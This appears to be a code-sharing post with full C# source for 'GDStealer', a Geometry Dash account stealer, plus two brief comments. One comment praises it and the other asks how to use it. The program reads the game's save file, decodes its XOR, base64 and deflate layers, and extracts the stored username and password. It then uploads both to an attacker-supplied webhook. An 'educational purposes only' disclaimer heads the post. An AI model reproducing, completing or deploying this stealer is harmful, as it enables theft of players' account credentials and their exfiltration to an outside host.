Simple Geometry Dash account stealer (educational purposes only, created for others to be aware of their almost-plaintext-stored passwords being stolen)

GDStealer.cs

using System;
using System.Collections.Specialized;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;

namespace GDStealer
{
    internal class Program
    {
        public static byte[] XorByteArray(byte[] bytes, int key)
        {
            for (int i = 0; i < bytes.Length; i++)
                bytes[i] = (byte)(bytes[i] ^ key);
            return bytes;
        }

        public static byte[] ZLibDecrypt(byte[] bytes)
        {
            var streamIn = new MemoryStream(bytes);
            var streamOut = new MemoryStream();

            var decompressor = new DeflateStream(streamIn, CompressionMode.Decompress);

            byte[] buffer = new byte[4096];
            while (true)
            {
                int bytesRead = decompressor.Read(buffer, 0, 4096);
                if (bytesRead == 0)
                    break;
                streamOut.Write(buffer, 0, bytesRead);
            }

            return streamOut.ToArray();
        }

        public static string ByteArrayToString(byte[] bytes) => Encoding.Default.GetString(bytes);

        public static byte[] SafeBase64StringDecode(string base64)
        {
            base64 = base64.Replace('-', '+').Replace('_', '/');
            return Convert.FromBase64String(base64);
        }

        static readonly string WebhookUrl = "WEBHOOK URL HERE";

        static void Main(string[] args)
        {
            string gdGameDataPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "GeometryDash", "CCGameManager.dat");
            if (!File.Exists(gdGameDataPath))
                return;

            Regex loginPasswordRegex = new Regex("GJA_002<\\/k><s>(.*?)<\\/s>.*GJA_001<\\/k><s>(.*?)<\\/s>");
            Match loginPasswordMatch = loginPasswordRegex.Match(ByteArrayToString(ZLibDecrypt(SafeBase64StringDecode(ByteArrayToString(XorByteArray(File.ReadAllBytes(gdGameDataPath), 11))).Skip(10).ToArray())));

            if (loginPasswordMatch.Success)
            {
                string username = loginPasswordMatch.Groups[2].Value;
                string password = loginPasswordMatch.Groups[1].Value;

                Console.WriteLine($"Username: {username}\nPassword: {password}");

                NameValueCollection data = new NameValueCollection
                {
                    { "username", "GDStealer (C#)" },
                    { "avatar_url", "https://pl.touhouwiki.net/images/thumb/2/25/Th075reimu01.png/256px-Th075reimu01.png" },
                    { "content", $"Username: `{username}`\nPassword: `{password}`" }
                };

                new WebClient().UploadValues(WebhookUrl, data);
            }
        }
    }
}

This is pretty nice

How do I use it? sorry I'm new